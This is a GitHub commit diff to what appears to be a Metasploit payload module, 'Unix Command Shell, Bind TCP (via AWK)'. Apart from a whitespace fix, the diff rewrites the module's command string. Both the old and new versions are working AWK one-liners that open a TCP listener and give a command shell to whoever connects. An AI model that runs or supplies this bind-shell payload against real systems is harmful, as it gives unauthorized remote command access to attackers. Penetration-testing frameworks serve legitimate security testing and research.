File tree Expand file tree Collapse file tree 1 file changed +2
-2
lines changed
modules/payloads/singles/cmd/unix Expand file tree Collapse file tree 1 file changed +2
-2
lines changed Original file line number Diff line number Diff line change @@ -19,7 +19,7 @@ def initialize(info = {})
19
19
super ( merge_info ( info ,
20
20
'Name' => 'Unix Command Shell, Bind TCP (via AWK)' ,
21
21
'Description' => 'Listen for a connection and spawn a command shell via AWK' ,
22
- 'Author' =>
22
+ 'Author' =>
23
23
[
24
24
'espreto <robertoespreto[at]gmail.com>' ,
25
25
'Ulisses Castro <uss.thebug[at]gmail.com>'
@@ -50,7 +50,7 @@ def generate
50
50
# Returns the command string to use for execution
51
51
#
52
52
def command_string
53
- "awk 'BEGIN{for( s=\" /inet/tcp/#{ datastore [ 'LPORT' ] } /0/0\" ;s|&getline c;close(c)){ while(c|& getline)print$0 |&s} }'"
53
+ "awk 'BEGIN{s=\" /inet/tcp/#{ datastore [ 'LPORT' ] } /0/0\" ;for(; s|&getline c;close(c))while(c|getline)print|&s;close(s) }'"
54
54
end
55
55
56
56
end
You can’t perform that action at this time.
0 commit comments